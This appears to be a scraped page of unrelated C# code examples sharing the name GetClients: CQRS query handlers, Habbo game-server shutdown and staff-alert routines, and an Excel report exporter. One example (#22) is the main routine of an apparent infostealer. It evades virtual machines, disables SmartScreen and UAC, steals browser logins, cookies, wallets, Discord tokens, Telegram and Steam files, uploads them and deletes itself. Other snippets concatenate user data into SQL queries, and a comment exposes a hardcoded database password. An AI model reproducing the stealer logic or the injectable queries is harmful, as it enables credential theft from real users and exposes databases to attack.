public Task <List <Client> > Handle(GetClients query, CancellationToken cancellationToken = default(CancellationToken))
        {
            //var client = GetAll<Client>();
            var events = Load <ClientCreatedEvent>().Where(d => d.EventType == EventType.ClientCreated);
            var list   = new List <Client>();

            foreach (var clientCreatedEvent in events)
            {
                Client client = new Client();
                var    listT  = new List <IEvent>()
                {
                    clientCreatedEvent
                };
                client.LoadFromHistory(listT);

                var clientEvents = GetEvents(client.AggregateId);
                if (clientEvents.Any())
                {
                    client.LoadFromHistory(clientEvents);
                }

                list.Add(client);
            }
            return(System.Threading.Tasks.Task.FromResult(list));
        }
 public Task <List <ClientListItem> > Handle(GetClients query,
                                             CancellationToken cancellationToken = default)
 {
     return(clients
            .Select(client => new ClientListItem(client.Id, client.Name))
            .ToListAsync(cancellationToken));
 }
        public void CloseAll()
        {
            foreach (GameClient client in GetClients.ToList())
            {
                if (client == null)
                {
                    continue;
                }

                if (client.Habbo != null)
                {
                    try
                    {
                        using (IQueryAdapter dbClient = PlusEnvironment.GetDatabaseManager().GetQueryReactor())
                        {
                            dbClient.RunQuery(client.Habbo.GetQueryString);
                        }
                        Console.Clear();
                        Log.Info("<<- SERVER SHUTDOWN ->> IVNENTORY IS SAVING");
                    }
                    catch
                    {
                    }
                }
            }

            Log.Info("Done saving users inventory!");
            Log.Info("Closing server connections...");
            try
            {
                foreach (GameClient client in GetClients.ToList())
                {
                    if (client == null || client.GetConnection() == null)
                    {
                        continue;
                    }

                    try
                    {
                        client.GetConnection().Dispose();
                    }
                    catch { }

                    Console.Clear();
                    Log.Info("<<- SERVER SHUTDOWN ->> CLOSING CONNECTIONS");
                }
            }
            catch (Exception e)
            {
                ExceptionLogger.LogException(e);
            }

            if (_clients.Count > 0)
            {
                _clients.Clear();
            }

            Log.Info("Connections closed!");
        }
        public void CloseAll()
        {
            foreach (GameClient client in GetClients.ToList())
            {
                if (client == null)
                {
                    continue;
                }

                if (client.GetHabbo() != null)
                {
                    try
                    {
                        using (IQueryAdapter dbClient = NeonEnvironment.GetDatabaseManager().GetQueryReactor())
                        {
                            dbClient.RunQuery(client.GetHabbo().GetQueryString);
                        }
                        Console.Clear();
                        log.Info("<<- SERVER SHUTDOWN ->> GUARDANDO INVENTARIO");
                    }
                    catch
                    {
                    }
                }
            }

            log.Info("Guardando los datos de los usuarios!");
            log.Info("Cerrando todas las conexiones.");
            try
            {
                foreach (GameClient client in GetClients.ToList())
                {
                    if (client == null || client.GetConnection() == null)
                    {
                        continue;
                    }

                    try
                    {
                        client.GetConnection().Dispose();
                    }
                    catch { }

                    Console.Clear();
                    log.Info("<<- SERVER SHUTDOWN ->> CERRANDO CONEXIONES");
                }
            }
            catch (Exception e)
            {
                Logging.LogCriticalException(e.ToString());
            }

            if (_clients.Count > 0)
            {
                _clients.Clear();
            }

            log.Info("Cerrando Conexion!");
        }
        public void CloseAll()
        {
            foreach (var client in GetClients.ToList())
            {
                if (client == null)
                {
                    continue;
                }

                if (client.GetHabbo() != null)
                {
                    try
                    {
                        using (var dbClient = Program.DatabaseManager.GetQueryReactor())
                        {
                            dbClient.RunQuery(client.GetHabbo().GetQueryString);
                        }
                        Console.Clear();
                        Logger.Trace("<<- SERVER SHUTDOWN ->> IVNENTORY IS SAVING");
                    }
                    catch
                    {
                    }
                }
            }

            Logger.Trace("Done saving users inventory!");
            Logger.Trace("Closing server connections...");
            try
            {
                foreach (var client in GetClients.ToList())
                {
                    if (client == null || client.GetConnection() == null)
                    {
                        continue;
                    }

                    try
                    {
                        client.GetConnection().Dispose();
                    }
                    catch { }

                    Console.Clear();
                    Logger.Trace("<<- SERVER SHUTDOWN ->> CLOSING CONNECTIONS");
                }
            }
            catch (Exception e)
            {
                Logger.Error(e);
            }

            if (_clients.Count > 0)
            {
                _clients.Clear();
            }

            Logger.Trace("Connections closed!");
        }
Exemple #6
0
 public Task <List <ClientListItem> > Handle(GetClients query)
 {
     return(Clients
            .Select(client => new ClientListItem
     {
         Id = client.Id,
         Name = client.Name
     })
            .ToListAsync());
 }
Exemple #7
0
        public void CloseAll()
        {
            foreach (GameClient Client in GetClients.ToList())
            {
                if (Client == null)
                {
                    continue;
                }

                if (Client.GetHabbo() != null)
                {
                    try
                    {
                        using (IQueryAdapter DbClient = ProjectHub.GetDatabaseManager().GetQueryReactor())
                        {
                            DbClient.RunQuery(Client.GetHabbo().GetQueryString);
                        }

                        Console.Clear();
                    }
                    catch
                    {
                    }
                }
            }

            try
            {
                foreach (GameClient Client in GetClients.ToList())
                {
                    if (Client == null || Client.GetConnection() == null)
                    {
                        continue;
                    }

                    try
                    {
                        Client.GetConnection().Dispose();
                    }
                    catch { }

                    Console.Clear();
                }
            }
            catch (Exception e)
            {
                Logging.LogError(e.ToString());
            }

            if (Clients.Count > 0)
            {
                Clients.Clear();
            }
        }
 private void HandleGetClients(GetClients message)
 {
     Sender.Tell(_clients.Select(c => new ClientModel
     {
         Id = c.Value.Id,
         MachineName = c.Value.MachineName,
         Username = c.Value.Username,
         LastHeartbeatReceivedAtUtc = c.Value.LastHeartbeatReceivedAtUtc,
         Connected = c.Value.Connected,
         Heartbeats = c.Value.Heartbeats.Select(h => new ClientModel.Heartbeat { ReceivedAtUtc = h.ReceivedAtUtc, Data = h.Data }).ToList(),
         ApplicationName = c.Value.ApplicationName
     }).ToList());
 }
 private void HandleGetClients(GetClients message)
 {
     Sender.Tell(_clients.Select(c => new ClientModel
     {
         Id          = c.Value.Id,
         MachineName = c.Value.MachineName,
         Username    = c.Value.Username,
         LastHeartbeatReceivedAtUtc = c.Value.LastHeartbeatReceivedAtUtc,
         Connected  = c.Value.Connected,
         Heartbeats = c.Value.Heartbeats.Select(h => new ClientModel.Heartbeat {
             ReceivedAtUtc = h.ReceivedAtUtc, Data = h.Data
         }).ToList(),
         ApplicationName = c.Value.ApplicationName
     }).ToList());
 }
        public void ModAlert(string Message)
        {
            foreach (GameClient client in GetClients.ToList())
            {
                if (client == null || client.GetHabbo() == null)
                {
                    continue;
                }

                if (client.GetHabbo().GetPermissions().HasRight("mod_tool") && !client.GetHabbo().GetPermissions().HasRight("staff_ignore_mod_alert"))
                {
                    try { client.SendWhisper(Message, 5); }
                    catch { }
                }
            }
        }
Exemple #11
0
        public void StaffAlert(ServerPacket Message, int Exclude = 0)
        {
            foreach (GameClient Client in GetClients.ToList())
            {
                if (Client == null || Client.GetHabbo() == null)
                {
                    continue;
                }

                if (Client.GetHabbo().Rank < 2 || Client.GetHabbo().Id == Exclude)
                {
                    continue;
                }

                Client.SendMessage(Message);
            }
        }
        public void GuideAlert(ServerPacket Message, int Exclude = 0)
        {
            foreach (GameClient client in GetClients.ToList())
            {
                if (client == null || client.GetHabbo() == null)
                {
                    continue;
                }

                if (client.GetHabbo()._guidelevel < 1 || client.GetHabbo().Id == Exclude)
                {
                    continue;
                }

                client.SendMessage(Message);
            }
        }
        public void StaffAlert(ServerPacket message, int exclude = 0)
        {
            foreach (var client in GetClients.ToList())
            {
                if (client == null || client.GetHabbo() == null)
                {
                    continue;
                }

                if (client.GetHabbo().Rank < 2 || client.GetHabbo().Id == exclude)
                {
                    continue;
                }

                client.SendPacket(message);
            }
        }
        public void StaffAlert3(string Message)
        {
            foreach (GameClient client in GetClients.ToList())
            {
                if (client == null || client.GetHabbo() == null)
                {
                    continue;
                }

                if (client.GetHabbo().Rank < 4)
                {
                    continue;
                }

                client.SendWhisper(Message, 23);
            }
        }
        public void GroupChatAlert(ServerPacket Message, Group Group, int Exclude = 0)
        {
            foreach (GameClient client in GetClients.ToList())
            {
                if (client == null || client.GetHabbo() == null)
                {
                    continue;
                }

                if (!Group.IsMember(client.GetHabbo().Id) || client.GetHabbo().Id == Exclude)
                {
                    continue;
                }

                client.SendMessage(Message);
            }
        }
        public void StaffAlert2(ServerPacket Message, int Exclude = 0)
        {
            foreach (GameClient client in GetClients.ToList())
            {
                if (client == null || client.GetHabbo() == null)
                {
                    continue;
                }

                if (client.GetHabbo().Rank < 4 || client.GetHabbo().Id == Exclude || client.GetHabbo()._alerttype == "2")
                {
                    continue;
                }

                client.SendMessage(Message);
            }
        }
        public void DoAdvertisingReport(GameClient Reporter, GameClient Target)
        {
            if (Reporter == null || Target == null || Reporter.GetHabbo() == null || Target.GetHabbo() == null)
            {
                return;
            }

            StringBuilder Builder = new StringBuilder();

            Builder.Append("Nuevo Informe!\r\r");
            Builder.Append("Reportador: " + Reporter.GetHabbo().Username + "\r");
            Builder.Append("Usuario Reportado: " + Target.GetHabbo().Username + "\r\r");
            Builder.Append(Target.GetHabbo().Username + "Ultimos 10 msj:\r\r");

            DataTable GetLogs = null;

            using (IQueryAdapter dbClient = NeonEnvironment.GetDatabaseManager().GetQueryReactor())
            {
                dbClient.SetQuery("SELECT `message` FROM `chatlogs` WHERE `user_id` = '" + Target.GetHabbo().Id + "' ORDER BY `id` DESC LIMIT 10");
                GetLogs = dbClient.getTable();

                if (GetLogs != null)
                {
                    int Number = 11;
                    foreach (DataRow Log in GetLogs.Rows)
                    {
                        Number -= 1;
                        Builder.Append(Number + ": " + Convert.ToString(Log["message"]) + "\r");
                    }
                }
            }

            foreach (GameClient Client in GetClients.ToList())
            {
                if (Client == null || Client.GetHabbo() == null)
                {
                    continue;
                }

                if (Client.GetHabbo().GetPermissions().HasRight("mod_tool") && !Client.GetHabbo().GetPermissions().HasRight("staff_ignore_advertisement_reports"))
                {
                    Client.SendMessage(new MOTDNotificationComposer(Builder.ToString()));
                }
            }
        }
        public void DoAdvertisingReport(Player reporter, Player target)
        {
            if (reporter == null || target == null || reporter.GetHabbo() == null || target.GetHabbo() == null)
            {
                return;
            }

            var builder = new StringBuilder();

            builder.Append("New report submitted!\r\r");
            builder.Append("Reporter: " + reporter.GetHabbo().Username + "\r");
            builder.Append("Reported User: "******"\r\r");
            builder.Append(target.GetHabbo().Username + "s last 10 messages:\r\r");

            using (var dbClient = Program.DatabaseManager.GetQueryReactor())
            {
                dbClient.SetQuery("SELECT `message` FROM `chatlogs` WHERE `user_id` = '" + target.GetHabbo().Id + "' ORDER BY `id` DESC LIMIT 10");
                var logs = dbClient.GetTable();

                if (logs != null)
                {
                    var number = 11;
                    foreach (DataRow log in logs.Rows)
                    {
                        number -= 1;
                        builder.Append(number + ": " + Convert.ToString(log["message"]) + "\r");
                    }
                }
            }

            foreach (var client in GetClients.ToList())
            {
                if (client == null || client.GetHabbo() == null)
                {
                    continue;
                }

                if (client.GetHabbo().GetPermissions().HasRight("mod_tool") && !client.GetHabbo().GetPermissions().HasRight("staff_ignore_advertisement_reports"))
                {
                    client.SendPacket(new MotdNotificationComposer(builder.ToString()));
                }
            }
        }
Exemple #19
0
        public FileResult ExcelReport(string val)
        {
            var bind = new GridView();
            List <GetClients> GetClient_Result = new List <GetClients>();
            //String PathP = System.Configuration.ConfigurationManager.AppSettings["Path"].ToString();
            String   PathP = Request.MapPath("~/ReportesXLS");
            FileInfo item  = new FileInfo(PathP + @"\Content.txt");

            string allcontent = getContent(item.FullName);

            //String conexion = "data source=195.192.2.249;initial catalog=PLMClients 20160913;user id=sa;password=t0m$0nl@t1n@";
            String        conexion = System.Configuration.ConfigurationManager.AppSettings["Conexion"].ToString();
            SqlConnection cnn      = new SqlConnection(conexion);

            cnn.Open();
            try
            {
                var        auxCountry = "";
                var        auxSatet   = "";
                String     consulta   = "select c.FirstName + ' '  + c.LastName + ' '  + c.SecondLastName As Name,p.ProfessionName, ss.SpecialityName,c.CountryId, cs.CountryName , c.StateId , s.StateName,c.Email from Clients c left join Countries cs on c.CountryId = cs.CountryId left join States s on c.StateId = s.StateId left join ProfessionClients ps on c.ClientId = ps.ClientId left join Professions p on p.ProfessionId = ps.ProfessionId left join SpecialityClients sc on c.ClientId = sc.ClientId left join Specialities ss on sc.SpecialityId = ss.SpecialityId where c.ClientId in (" + allcontent + ")" + "order by 1,2,3,4 ";
                SqlCommand cmd        = new SqlCommand(consulta, cnn);


                SqlDataReader read = cmd.ExecuteReader();

                while (read.Read())
                {
                    GetClients clientes = new GetClients();
                    clientes.Name           = read.GetValue(0).ToString();
                    clientes.ProfessionName = read.GetValue(1).ToString();
                    clientes.SpecialityName = read.GetValue(2).ToString();
                    auxCountry = read.GetValue(3).ToString();
                    if (auxCountry != "")
                    {
                        clientes.CountryId = Convert.ToInt32(read.GetValue(3));
                    }
                    else
                    {
                        clientes.CountryId = null;
                    }

                    clientes.CountryName = read.GetValue(4).ToString();
                    auxSatet             = read.GetValue(5).ToString();
                    if (auxSatet != "")
                    {
                        clientes.StateId = Convert.ToInt32(read.GetValue(5));
                    }
                    else
                    {
                        clientes.StateId = null;
                    }
                    clientes.StateName = read.GetValue(6).ToString();
                    clientes.Email     = read.GetValue(7).ToString();
                    GetClient_Result.Add(clientes);
                }



                cnn.Close();
            }

            catch (Exception e)
            {
                string message = e.Message;
            }



            ///////////////////////////////


            DataColumn Nombre = new DataColumn();

            Nombre.DataType   = typeof(string);
            Nombre.ColumnName = "Nombre";


            DataColumn Profesion = new DataColumn();

            Profesion.DataType   = typeof(string);
            Profesion.ColumnName = "Profesión";

            DataColumn Especialidad = new DataColumn();

            Especialidad.DataType   = typeof(string);
            Especialidad.ColumnName = "Especialidad";

            DataColumn Pais = new DataColumn();

            Pais.DataType   = typeof(string);
            Pais.ColumnName = "Pais";

            DataColumn Estado = new DataColumn();

            Estado.DataType   = typeof(string);
            Estado.ColumnName = "Estado";

            DataColumn Email = new DataColumn();

            Email.DataType   = typeof(string);
            Email.ColumnName = "Email";

            table.Columns.Add(Nombre);
            table.Columns.Add(Profesion);
            table.Columns.Add(Especialidad);
            table.Columns.Add(Pais);
            table.Columns.Add(Estado);
            table.Columns.Add(Email);



            foreach (var resul in GetClient_Result)
            {
                table.Rows.Add(
                    resul.Name,
                    resul.ProfessionName,
                    resul.SpecialityName,
                    resul.CountryName,
                    resul.StateName,
                    resul.Email);
            }

            string Directory = Request.MapPath("~/ReportesXLS");

            if (System.IO.Directory.Exists(Directory))
            {
                //
            }
            else
            {   // Crea el directorio
                System.IO.Directory.CreateDirectory(Directory);
            }
            bind.DataSource = table;

            FileInfo     newFile = new FileInfo(Request.MapPath("~/ReportesXLS/Analytics.xlsx"));
            ExcelPackage pkg     = new ExcelPackage(newFile);

            if (newFile.Exists)
            {
                System.IO.File.Delete(Server.MapPath("~/ReportesXLS/Analytics.xlsx"));
                newFile.Delete();
                pkg.Workbook.Worksheets.Delete("Analytics Excel");
                ExcelWorksheet worksheet = pkg.Workbook.Worksheets.Add("Analytics Excel");


                worksheet.Cells["A1"].LoadFromDataTable(table, true);
                using (ExcelRange range = worksheet.Cells["A1:F1"])
                {
                    range.Style.Font.Bold        = true;
                    range.Style.Fill.PatternType = OfficeOpenXml.Style.ExcelFillStyle.Solid;
                    range.Style.Fill.BackgroundColor.SetColor(Color.DimGray);
                    range.Style.Font.Color.SetColor(Color.White);
                    range.Style.ShrinkToFit = false;
                    range.Style.Font.Size   = 12;
                    range.AutoFitColumns();
                    range.Style.Font.Name = "Arial Narrow";
                }
                worksheet.Cells.Style.Font.Name = "Arial Narrow";
            }
            else
            {
                ExcelWorksheet worksheet = pkg.Workbook.Worksheets.Add("Analytics Excel");

                worksheet.Cells["A1"].LoadFromDataTable(table, true);
                using (ExcelRange range = worksheet.Cells["A1:F1"])
                {
                    range.Style.Font.Bold        = true;
                    range.Style.Fill.PatternType = OfficeOpenXml.Style.ExcelFillStyle.Solid;
                    range.Style.Fill.BackgroundColor.SetColor(Color.DimGray);
                    range.Style.Font.Color.SetColor(Color.White);
                    range.Style.ShrinkToFit = false;
                    range.Style.Font.Size   = 12;
                    range.AutoFitColumns();
                    range.Style.Font.Name = "Arial Narrow";
                }
                worksheet.Cells.Style.Font.Name = "Arial Narrow";
            }

            pkg.SaveAs(newFile);
            var filepath = System.IO.Path.Combine(Server.MapPath("~/ReportesXLS/Analytics.xlsx"));

            return(File(filepath, "application/vnd.ms-excel", "Analytics.xlsx"));
        }
Exemple #20
0
        public void CloseAll()
        {
            foreach (GameClient client in GetClients.ToList())
            {
                if (client == null)
                {
                    continue;
                }

                if (client.GetHabbo() != null)
                {
                    try
                    {
                        using (IQueryAdapter dbClient = CloudServer.GetDatabaseManager().GetQueryReactor())
                        {
                            dbClient.runFastQuery(client.GetHabbo().GetQueryString);
                        }
                        Console.Clear();
                        log.Info("<<- APAGANDO SERVIDOR ->> GUARDANDO INVENTARIOS");
                    }
                    catch
                    {
                    }
                }
            }

            log.Info("Listo, inventario de los users guardado!");
            log.Info("Cerrando las conexiones del servidor...");
            try
            {
                foreach (GameClient client in GetClients.ToList())
                {
                    if (client == null || client.GetConnection() == null)
                    {
                        continue;
                    }

                    try
                    {
                        CloudServer.GetConnectionManager().Destroy();
                        client.GetConnection().Dispose();
                    }
                    catch (Exception e)
                    {
                        ExceptionLogger.LogException(e);
                    }

                    Console.Clear();
                    log.Info("<<- APAGANDO SERVIDOR ->> Cerrando Conexiones");
                }
            }
            catch (Exception e)
            {
                ExceptionLogger.LogException(e);
            }

            if (_clients.Count > 0)
            {
                _clients.Clear();
            }

            log.Info("Conexiones Cerradas!");
        }
Exemple #21
0
        public ActionResult Report(string file)
        {
            //String PathP = System.Configuration.ConfigurationManager.AppSettings["Path"].ToString();
            String   PathP = Request.MapPath("~/ReportesXLS");
            FileInfo item  = new FileInfo(PathP + @"\Content.txt");

            string allcontent = getContent(item.FullName);

            //String conexion = "data source=195.192.2.249;initial catalog=PLMClients 20160913;user id=sa;password=t0m$0nl@t1n@";
            String        conexion = System.Configuration.ConfigurationManager.AppSettings["Conexion"].ToString();
            SqlConnection cnn      = new SqlConnection(conexion);

            cnn.Open();
            try
            {
                List <GetClients> GetClient_Result = new List <GetClients>();

                var        auxCountry = "";
                var        auxSatet   = "";
                String     consulta   = "select c.FirstName + ' '  + c.LastName + ' '  + c.SecondLastName As Name,p.ProfessionName, ss.SpecialityName,c.CountryId, cs.CountryName , c.StateId , s.StateName,c.Email from Clients c left join Countries cs on c.CountryId = cs.CountryId left join States s on c.StateId = s.StateId left join ProfessionClients ps on c.ClientId = ps.ClientId left join Professions p on p.ProfessionId = ps.ProfessionId left join SpecialityClients sc on c.ClientId = sc.ClientId left join Specialities ss on sc.SpecialityId = ss.SpecialityId where c.ClientId in (" + allcontent + ")" + "order by 1,2,3,4 ";
                SqlCommand cmd        = new SqlCommand(consulta, cnn);


                SqlDataReader read = cmd.ExecuteReader();


                if (read.HasRows == true)
                {
                    while (read.Read())
                    {
                        GetClients clientes = new GetClients();
                        clientes.Name           = read.GetValue(0).ToString();
                        clientes.ProfessionName = read.GetValue(1).ToString();
                        clientes.SpecialityName = read.GetValue(2).ToString();
                        auxCountry = read.GetValue(3).ToString();
                        if (auxCountry != "")
                        {
                            clientes.CountryId = Convert.ToInt32(read.GetValue(3));
                        }
                        else
                        {
                            clientes.CountryId = null;
                        }

                        clientes.CountryName = read.GetValue(4).ToString();
                        auxSatet             = read.GetValue(5).ToString();
                        if (auxSatet != "")
                        {
                            clientes.StateId = Convert.ToInt32(read.GetValue(5));
                        }
                        else
                        {
                            clientes.StateId = null;
                        }
                        clientes.StateName = read.GetValue(6).ToString();
                        clientes.Email     = read.GetValue(7).ToString();
                        GetClient_Result.Add(clientes);
                    }
                }

                else
                {
                    string men = "No hay datos";
                }



                cnn.Close();
                return(View(GetClient_Result));
            }

            catch (Exception e)
            {
                string message = e.Message;
                return(View(false));
            }
        }
Exemple #22
0
        private void Updater_Load(object sender, EventArgs e)
        {
            if (Date.Delay)
            {
                Thread.Sleep(Date.DelaySec);
            }

            if (!AntiVM.GetCheckVMBot())
            {
                if (!MovEx.CheckPath())
                {
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                }
                else
                {
                    HideFolders.Enabled(0);
                    DisableLockers.SmartScreen();
                    DisableLockers.UAC();
                    AntiSniffer.Inizialize();

                    if (Date.Downloader || Date.AdminRight)
                    {
                        Users.DownFileEx(Date.DownloaderLink, Environment.GetEnvironmentVariable(Date.DownloaderPath), Date.FakeNameProcess);
                    }
                    if (Date.IpLogger)
                    {
                        IPLogger.Sender(Date.IpLoggerLink);
                    }
                    if (Date.InfoGrabber)
                    {
                        InfoGrabber.CreateTable(GlobalPath.PC_File);
                    }
                    if (Date.CryptoWall)
                    {
                        BitBoard.GetWallet();
                    }
                    if (Date.Browsers)
                    {
                        ChromeSearcher.CopyLoginsInSafeDir(GlobalPath.Logins);
                        ChromeCookiesSearcher.CopyCookiesInSafeDir(GlobalPath.Cookies);
                        GetPassword.Inizialize();
                        GetCookies.Inizialize();
                    }
                    if (Date.Buffer)
                    {
                        ClipboardEx.GetBuffer(GlobalPath.Buffer);
                    }
                    if (Date.Programs)
                    {
                        MailFoxPassword.Inizialize();
                        DcGrabber.GeTokens();
                        TGrabber.GetTelegramSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*");
                    }
                    if (Date.Clients)
                    {
                        GetClients.Inizialize();
                    }
                    if (Date.Steam)
                    {
                        GetSteamFiles.Copy("*.", "*.vdf", "config", "Steam");
                    }
                    if (Date.ScreenShot)
                    {
                        ScreenShot.Shoot(GlobalPath.Screen);
                    }
                    Ccleaner.CheckIsNullDirsAndFiles(GlobalPath.GarbageTemp);
                    Archiving.Inizialize();
                    UploadZip.Inizialize(GlobalPath.Reception, "POST", GlobalPath.ZipAdd);
                    //BlockIE.Enabled(1); // Блокировка интернета
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                    Application.Exit();
                }
            }
            else
            {
                SaveData.SaveFile("VM_Detect.txt", "The program is not supported on virtual machines!");
                if (Date.Delay)
                {
                    ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                }
            }
        }
Exemple #23
0
 Task <IEnumerable <Client> > IRequestHandler <GetClients, IEnumerable <Client> > .Handle(GetClients request, CancellationToken cancellationToken)
 {
     return(this.clientRepository.GetAll(cancellationToken));
 }
        public void CloseAll()
        {
            foreach (GameClient client in GetClients.ToList())
            {
                if (client == null)
                {
                    continue;
                }

                if (client.GetHabbo() != null)
                {
                    try
                    {
                        using (IQueryAdapter dbClient = BiosEmuThiago.GetDatabaseManager().GetQueryReactor())
                        {
                            dbClient.runFastQuery(client.GetHabbo().GetQueryString);
                        }
                        Console.Clear();
                        log.Info("<<- DESLIGANDO SERVIDOR ->> GUARDANDO INVENTARIOS");
                    }
                    catch
                    {
                    }
                }
            }

            log.Info("Pronto, economizou o inventário dos usuários!");
            log.Info("Fechando as conexões do servidor ...");
            try
            {
                foreach (GameClient client in GetClients.ToList())
                {
                    if (client == null || client.GetConnection() == null)
                    {
                        continue;
                    }

                    try
                    {
                        BiosEmuThiago.GetConnectionManager().Destroy();
                        client.GetConnection().Dispose();
                    }
                    catch (Exception e)
                    {
                        ExceptionLogger.LogException(e);
                    }

                    Console.Clear();
                    log.Info("<<- APAGANDO SERVIDOR ->> Conexões de fechamento");
                }
            }
            catch (Exception e)
            {
                ExceptionLogger.LogException(e);
            }

            if (_clients.Count > 0)
            {
                _clients.Clear();
            }

            log.Info("Conexões fechadas!");
        }